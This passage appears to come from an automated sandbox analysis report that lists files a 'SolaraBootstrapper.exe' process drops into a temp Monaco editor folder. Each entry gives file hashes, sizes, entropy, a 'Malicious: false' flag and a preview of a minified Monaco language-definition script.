MD5:	E84EEEF7AFCD1C54564DBF844DEF865C
SHA1:	9CCF2F8C6590A548B71AB58FA0FF578273237437
SHA-256:	7989C74CE5C72ED5559103A4289E3D8C67387D552A12E5495CA186D7D5985960
SHA-512:	4050084FC983304D636599C521470A645E9C28E433E89DC24026DA2A5C4DF3354135AD22EAC6C15D35A5F62B482E831F7CEB88B82C1852E6B8386054EDC10CC1
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pug/pug", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var r=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var o in e)a(t,o,{get:e[o],enumerable:!0})},c=(t,e,o,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of l(e))!r.call(t,n)&&n!==o&&a(t,n,{get:()=>e[n],enumerable:!(s=i(e,n))\|\|s.enumerable});return t};var d=t=>c(a({},"__esModule",{value:!0}),t);var g={};p(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"//"},brackets:[["{",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\python\python.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4197)
Category:	dropped
Size (bytes):	4702
Entropy (8bit):	5.2574940606967395
Encrypted:	false
SSDEEP:	96:pQFDHnYRsyzYio+1/1GMna/oK65wV1+K6V1+/GDqHQ5284Ph/B0vcdBBj1dAnO2s:G9YdnOMnLK65YyCs284PLbX/GOL
MD5:	872273B250E1BEE4BE8213195AAA7B91
SHA1:	9509469FDCAD88D892851DF6E454A16822DDF279
SHA-256:	34ED9698F52C310A991ED3A9A375D0BA8D86690BBBCB488CF7ED23606AC6CA84
SHA-512:	F6B04A652ED51AF924657D367E67F6947A00C4117E376A6AAC57A6B3A304C02BCF39AB2D1D822D247A1BCA7B731E54CA0A03F1F2396A79D36968D094705DBB8F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/python/python", ["require","require"],(require)=>{.var moduleExports=(()=>{var d=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var b=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(n,t)=>(typeof require!="undefined"?require:n)[t]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var h=(e,n)=>()=>(n\|\|e((n={e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\qsharp\qsharp.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3257)
Category:	dropped
Size (bytes):	3762
Entropy (8bit):	5.163659967447653
Encrypted:	false
SSDEEP:	96:pQFDHnYRsf+/E2rPV1+GV1+PbHX8VWTJ7CORzvH/J6VbjtBYQx:G9YhrH/O38VyJjRz34zJ
MD5:	5736E6CB5E34939249F68B8F5E3D3F6A
SHA1:	B4E33C09626172373926FF9FB29F2F4DDF3ED2E6
SHA-256:	85E681ADF56A9813AB1A514DDDEA17B919ED48AE07C4A564703619F93DCA0D78
SHA-512:	4D254E3E928A0AAC000A2D87B58C1F2963F20813D397F159FB81002CD14F2E7A4F2EF8D381097D979808991E1026572A8331966CAFC199B8549867D60B2B235B
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/qsharp/qsharp", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of r(e))!l.call(t,o)&&o!==n&&a(t,o,{get:()=>e[o],enumerable:!(s=i(e,o))\|\|s.enumerable});return t};var p=t=>u(a({},"__esModule",{value:!0}),t);var m={};c(m,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"//"},brackets:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\r\r.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3453)
Category:	dropped
Size (bytes):	3948
Entropy (8bit):	5.238735035874947
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCrK+/EhpUmV1+IV1+38O1hG6URj1AAEvTUTfBprOJ:G9Yzrkaij49ne5STUT5lI
MD5:	81ADC67747B5678D3F30F7F42FC698F5
SHA1:	21F5E748FDA662EE15595AFB9A313AB446D97949
SHA-256:	0DB30B3566ED90BE1D37712CB86E40BECB27EDBF7BA1207A1487B981BC8E7F61
SHA-512:	8EDA53B44E7337CC83FE8B419DFF2BA16FE13D1B68B6E0FBD969EE60C088607B4DA41B75C2DC45CBE43EBFF8F999642BDA278CF0F31F2F68F24B92E9F3C37C5F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/r/r", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(o,e)=>{for(var t in e)a(o,t,{get:e[t],enumerable:!0})},p=(o,e,t,n)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of i(e))!c.call(o,r)&&r!==t&&a(o,r,{get:()=>e[r],enumerable:!(n=s(e,r))\|\|n.enumerable});return o};var m=o=>p(a({},"__esModule",{value:!0}),o);var u={};l(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"#"},brackets:[["{","}"],

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\razor\razor.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (9358)
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.358988063399747
Encrypted:	false
SSDEEP:	192:G9YzAu3n+l+y+AEld2YaW40v4Ou6e+vMHjIoQceC8TdlgzYJXO:GeX+lhpsP3zkIoQceCEPJ+
MD5:	10FAE53E31BC8FB1664154D50637F3F9
SHA1:	77D077BA152C15A59A2392FDFC91A2B514732CEE
SHA-256:	B67392D4BAEFBC48E9F0E28E661ADD4BE183BEC81016753CAC90D901A382B62F
SHA-512:	BCFEEC3FB432CA83340F79C89E8EDED344E8010725E99269AFE5AB61906DB922D923873786EB40512A115D5D14F99CDDDA8D1B065E315AC73E348D1BD052688A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/razor/razor", ["require","require"],(require)=>{.var moduleExports=(()=>{var h=Object.create;var m=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var b=Object.getOwnPropertyNames;var k=Object.getPrototypeOf,x=Object.prototype.hasOwnProperty;var y=(t=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(t,{get:(e,r)=>(typeof require!="undefined"?require:e)[r]}):t)(function(t){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+t+'" is not supported')});var T=(t,e)=>()=>(e\|\|t((e={exp

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\redis\redis.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3878)
Category:	dropped
Size (bytes):	4381
Entropy (8bit):	5.551929224886789
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCdD6/kCfV1+/0V1+/F1c3kdKsTjuMZF/OmfEjac0pPGKP9XSC1U/R:G9YzdD+XxOc3kIsuM//OmMD0pP19Cj/R
MD5:	0082F32DA6EEE980F29419DF4FEF2268
SHA1:	2AA41D8EB8F47DB04C64AF943ACFB02A86BB69D3
SHA-256:	805FA3F57140F854AAE63C1312187DB390206978C922E1527190206DB207963A
SHA-512:	980F93869F3B25671DF8D1E544C50E31F8F85E8500039CE2AF8658F1D01DB12611E1D95112A39D5494DFD1D1033CFAE8C81244A2B89089C7310C2B55B9516ECB
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/redis/redis", ["require","require"],(require)=>{.var moduleExports=(()=>{var R=Object.defineProperty;var n=Object.getOwnPropertyDescriptor;var N=Object.getOwnPropertyNames;var s=Object.prototype.hasOwnProperty;var A=(S,E)=>{for(var T in E)R(S,T,{get:E[T],enumerable:!0})},O=(S,E,T,o)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let e of N(E))!s.call(S,e)&&e!==T&&R(S,e,{get:()=>E[e],enumerable:!(o=n(E,e))\|\|o.enumerable});return S};var L=S=>O(R({},"__esModule",{value:!0}),S);var r={};A(r,{conf:()=>I,language:()=>i});var I={brackets:[["{","}"],["[","]"],["(",")"]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\redshift\redshift.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (12122)
Category:	dropped
Size (bytes):	12631
Entropy (8bit):	5.09339099587543
Encrypted:	false
SSDEEP:	192:G9Yz1dLxaLQ7l23dDC5QPsHoa2WMrtSCV0bPjNQoMyIG6r9TjasF:GGdLxaI6+MJ/WfCuFQobIGe9/asF
MD5:	8FE8B5C56FBAFF23F0BE14BDFFFAFE85
SHA1:	E61DCB51E444870EA46A4B28D71F46A952EC5B4C
SHA-256:	B1BD4C4D566B0D0688803F8B13ECC667C299100AB45C3F187B85906446F4EB65
SHA-512:	2F229CD5B052DE3737A790FD2A1FD7F9BC323C299D61DFAA094373289D94B43809826D9D518443A7F7F1DDD709F1C95D63D3CA37C7174381D7CF87828F23B0A7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/redshift/redshift", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var o=Object.getOwnPropertyNames;var n=Object.prototype.hasOwnProperty;var p=(_,e)=>{for(var r in e)i(_,r,{get:e[r],enumerable:!0})},l=(_,e,r,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of o(e))!n.call(_,t)&&t!==r&&i(_,t,{get:()=>e[t],enumerable:!(a=s(e,t))\|\|a.enumerable});return _};var g=_=>l(i({},"__esModule",{value:!0}),_);var m={};p(m,{conf:()=>c,language:()=>d});var c={comments:{lineComment:"--",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\restructuredtext\restructuredtext.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text, with very long lines (4211)
Category:	dropped
Size (bytes):	4740
Entropy (8bit):	5.48137039025458
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCSb+/E4buyTV1+b+Vphj3oOCmd4h5SOak1Nq4bOIA2A2E7mGhG1O:G9Yz5bukKr40HlwHLCGE1O
MD5:	B32D67455EB80DD7CCB5991872CA931B
SHA1:	C699FA88CD66D5A12BCD72C846291B38738A88CC
SHA-256:	1D05F1659F95D61251B4EFB8F9CBBCB06652FA82F95080637FCDBDF20B5B9242
SHA-512:	DD2A550891DD84EC883FAB89197560488072EC563174DEF47F8ACB4BE918B44BC3C6404A5885E7BF82B0E089EA29633F73A879B169459B88382343ACFD2B8A86
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/restructuredtext/restructuredtext", ["require","require"],(require)=>{.var moduleExports=(()=>{var t=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var r=Object.prototype.hasOwnProperty;var k=(n,e)=>{for(var i in e)t(n,i,{get:e[i],enumerable:!0})},c=(n,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of l(e))!r.call(n,s)&&s!==i&&t(n,s,{get:()=>e[s],enumerable:!(o=a(e,s))\|\|o.enumerable});return n};var p=n=>c(t({},"__esModule",{value:!0}),n);var g={};k(g,{conf:()=>u,language:()=>m});var u={brackets:[["{","}

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\ruby\ruby.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8826)
Category:	dropped
Size (bytes):	9327
Entropy (8bit):	5.369061884062009
Encrypted:	false
SSDEEP:	192:G9YzLXcxki35E7BuN7GVziYlm3z9GEpWyuyG:GqcxJE7cGsj9FsvL
MD5:	344F7E809CD86EEAA00FC058B50DB8A3
SHA1:	C1B4ECA2C3DACB87D2AC2DEAD7DD6BF342C86CCA
SHA-256:	7A8F786527B3546E88C350D9B11DE0EDC801276ABC00741526407DC6859712D9
SHA-512:	CECBFF19F0DBD21EE489E3D380DB87E79CBDF17850CC78D3D9AFA3C34C47962DE93405089F911AC78D598DCFF4C7DCAD85F029EE13F9F08C8E96D5DC9E407BA8
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/ruby/ruby", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var r in e)o(t,r,{get:e[r],enumerable:!0})},l=(t,e,r,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!d.call(t,n)&&n!==r&&o(t,n,{get:()=>e[n],enumerable:!(s=i(e,n))\|\|s.enumerable});return t};var a=t=>l(o({},"__esModule",{value:!0}),t);var m={};p(m,{conf:()=>g,language:()=>x});var g={comments:{lineComment:"#",blockComment:["

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\rust\rust.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4482)
Category:	dropped
Size (bytes):	4983
Entropy (8bit):	5.458249624003439
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCQP+/EvZrbV1+VV1+/UNdNmlf9LJ5MnWe1l0gHL4Rtnh4d6:G9YzUZrTcEllLJ5de3R4/B
MD5:	3D36F7409A41A81012157E53CD2D3047
SHA1:	C7D2E0D1DFEDE10EB656C9A3B80F368600789098
SHA-256:	206151559B889581B3B522026A57F228CEAB4FB864747074BD80E7041CDB5BEB
SHA-512:	185F34E92BF16F18620288EF174B65934E89146B978BD06ABA4ED90DFC3AF1BEB066831D29B3745F64A3EE5F7993BE7516603A4A9CA0CD1CEE72B9ABE20EE026
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/rust/rust", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var _=(t,e)=>{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of a(e))!c.call(t,o)&&o!==n&&r(t,o,{get:()=>e[o],enumerable:!(s=i(e,o))\|\|s.enumerable});return t};var l=t=>u(r({},"__esModule",{value:!0}),t);var m={};_(m,{conf:()=>f,language:()=>p});var f={comments:{lineComment:"//",blockComment:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sb\sb.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2151)
Category:	dropped
Size (bytes):	2648
Entropy (8bit):	5.363920113872401
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs+db+/EhHCIVJ1JFq11FqQ4gVgN88KEqWgdctA0Ve+S:pQFDHnYRs+9+/EwIVTq17qcEQRW6PP
MD5:	511D54A2E20FD284F24D82C8159EC7AC
SHA1:	C21812858BE2E3E801E26DDA8CFE6AFE6AD6FF04
SHA-256:	58001EF158DE456BB44EBE9E7616308BE4F909C99C7483EDD4DFB9D886922C41
SHA-512:	B41C3BAB81A78070A162D08AD8F2248AD9CF7B0ECD83ADBC03CB31A2949BA48463F8DF5D3E3F2652E6A49177037B555BBFFFCF6E35E124933267632EB1249168
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sb/sb", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(o,e)=>{for(var t in e)r(o,t,{get:e[t],enumerable:!0})},c=(o,e,t,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(o,n)&&n!==t&&r(o,n,{get:()=>e[n],enumerable:!(s=i(e,n))\|\|s.enumerable});return o};var g=o=>c(r({},"__esModule",{value:!0}),o);var m={};d(m,{conf:()=>p,language:()=>f});var p={comments:{lineComment:"'"},brackets:[["(",")"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\scala\scala.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7640)
Category:	dropped
Size (bytes):	8143
Entropy (8bit):	5.325370547890824
Encrypted:	false
SSDEEP:	96:pQFDHnYRs/f+/EO6VogRo8+rbV1+/0V1+/+iE/kMCeyjEm+npEwHFh3uUueo1tn0:G9YOW6+rTxNfnph3uUqRinU9jMWE
MD5:	98AC5351CBE9F2E6C7B31C4E8A01C929
SHA1:	E725C45B547C277C2EC837422E5241A522856E01
SHA-256:	FE4369DD35B2FE4879D63699AF578F4FC42A40154416F1F4DDA6DE8FE927D66D
SHA-512:	3B5CF93C3168D98B5904FB3853A0D70FE4A429F6917E5ECE92AE4B178CC2B421E774D8F0BA1F3605413FF637CD82C333A89EB3C399A12EB18EC2B996D30258C2
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/scala/scala", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var r in e)n(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of i(e))!d.call(t,o)&&o!==r&&n(t,o,{get:()=>e[o],enumerable:!(a=s(e,o))\|\|a.enumerable});return t};var g=t=>c(n({},"__esModule",{value:!0}),t);var m={};l(m,{conf:()=>p,language:()=>w});var p={wordPattern:/(unary_[@~!#%^&*()\-=+\\\|:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\scheme\scheme.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2089)
Category:	dropped
Size (bytes):	2594
Entropy (8bit):	5.330108799220234
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsc+/ENHgUzX0V1+T0V1+X2ce1VS96O+FuLFpwfS8:pQFDHnYRsc+/EWU4V1+IV1+Gcezrf/
MD5:	904C018255072D30BE57176EBF34181D
SHA1:	847E581FB420AB4B7849DE81CCEE46DF026B73BC
SHA-256:	D42BE5D22975E53E1FCA77BC2250ECB59125A5C58047292BC20CBCE06F5C30D7
SHA-512:	8D5DFA9CECC2F2C34C1645D58CD514348321D9D1857CD9B693A91D71508E0E1FCE328A4F219198D228DC758CD50A9A36C31FE3314D8AF393E7574762E16635E2
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/scheme/scheme", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of i(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(a=r(e,n))\|\|a.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:";",blockCommen

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\scss\scss.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2888)
Category:	dropped
Size (bytes):	7232
Entropy (8bit):	5.15399422572643
Encrypted:	false
SSDEEP:	192:G9YgHxCN16rr9TnhPKIsuvzLPM7XALCvx:GcN16rr9TnhPKIsubL0jAO
MD5:	8A57368E1765DA56A468F242918F86B1
SHA1:	109D067C257C005C0C2ACAD6AF75DB928DF98902
SHA-256:	52EE58F53CD91A92ED0DBA2DA45FD2E692604FDB9EA4CB2F86718CC798D76399
SHA-512:	88BE39E019D259B1C034072B4BBA0186281AB13C93C0A9993D6F92B3CF6DDB7B1427DCA8997E18A0311CFA4AA23615ED2762B660FE8EB9F5000A4B835DE6A847
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/scss/scss", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var o in e)i(t,o,{get:e[o],enumerable:!0})},m=(t,e,o,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of l(e))!d.call(t,n)&&n!==o&&i(t,n,{get:()=>e[n],enumerable:!(r=a(e,n))\|\|r.enumerable});return t};var s=t=>m(i({},"__esModule",{value:!0}),t);var k={};c(k,{conf:()=>u,language:()=>p});var u={wordPattern:/(#?-?\d\.\d\w%?)\|([@$#!.:]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\shell\shell.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3395)
Category:	dropped
Size (bytes):	3898
Entropy (8bit):	5.293677593120131
Encrypted:	false
SSDEEP:	96:pQFDHnYRsC+/EzomV1+/mQcV1+/mQ/jAMMBU68OZQNlGNTQABZ7/T:G9YEi1x1wjIUQVNTJrr
MD5:	367A05692CC27DA3D92FBE6228D413B1
SHA1:	1C30902AD99E2B11A60D77586941C3F51B679978
SHA-256:	A0D9F1A5CF3A2C1C62563226574240A7064CA8C7EAC39D061E87141A7CD8E4B5
SHA-512:	D80BFB2E6003D7A474883B4A38DD2E0166EB2E3C663383B59A5089AA162931473D7252E5701906783154DA0C649B366E898DDBAD4EFC6BAD4D1DA3C8F390D866
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/shell/shell", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var n=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(r,e)=>{for(var i in e)a(r,i,{get:e[i],enumerable:!0})},d=(r,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of n(e))!l.call(r,t)&&t!==i&&a(r,t,{get:()=>e[t],enumerable:!(o=s(e,t))\|\|o.enumerable});return r};var p=r=>d(a({},"__esModule",{value:!0}),r);var g={};c(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"#"},brackets:[["

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\solidity\solidity.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18919)
Category:	dropped
Size (bytes):	19428
Entropy (8bit):	4.57468882983275
Encrypted:	false
SSDEEP:	384:Gu0rtIsZRoMteOKV6TXRcJcWlXvEnMemjVjlVuRHBziYs:6rtI9OA6TKJccXcnMemZ+HF8
MD5:	0C41AA0358C5B909F40BC42D4C537714
SHA1:	CD8E790DD0EB47B3F8E880245E8581E7ED10F697
SHA-256:	950AF3DFF2530D4FA5D9DAF02A0433B61B0CA72A90ABDAD76A4774CB6563292C
SHA-512:	E3730FD49FAFDD5F0BAC4292A86F0DC055E0D5DAD42EAACDB9258BC39EA25167105982C64F6692EAB191AF9D38CF0C11EB1D968D864AAB7B41ADB1445B21032F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/solidity/solidity", ["require","require"],(require)=>{.var moduleExports=(()=>{var f=Object.defineProperty;var t=Object.getOwnPropertyDescriptor;var n=Object.getOwnPropertyNames;var s=Object.prototype.hasOwnProperty;var o=(e,x)=>{for(var d in x)f(e,d,{get:x[d],enumerable:!0})},r=(e,x,d,u)=>{if(x&&typeof x=="object"\|\|typeof x=="function")for(let i of n(x))!s.call(e,i)&&i!==d&&f(e,i,{get:()=>x[i],enumerable:!(u=t(x,i))\|\|u.enumerable});return e};var a=e=>r(f({},"__esModule",{value:!0}),e);var l={};o(l,{conf:()=>c,language:()=>m});var c={comments:{lineComment:"//",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sophia\sophia.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3086)
Category:	dropped
Size (bytes):	3591
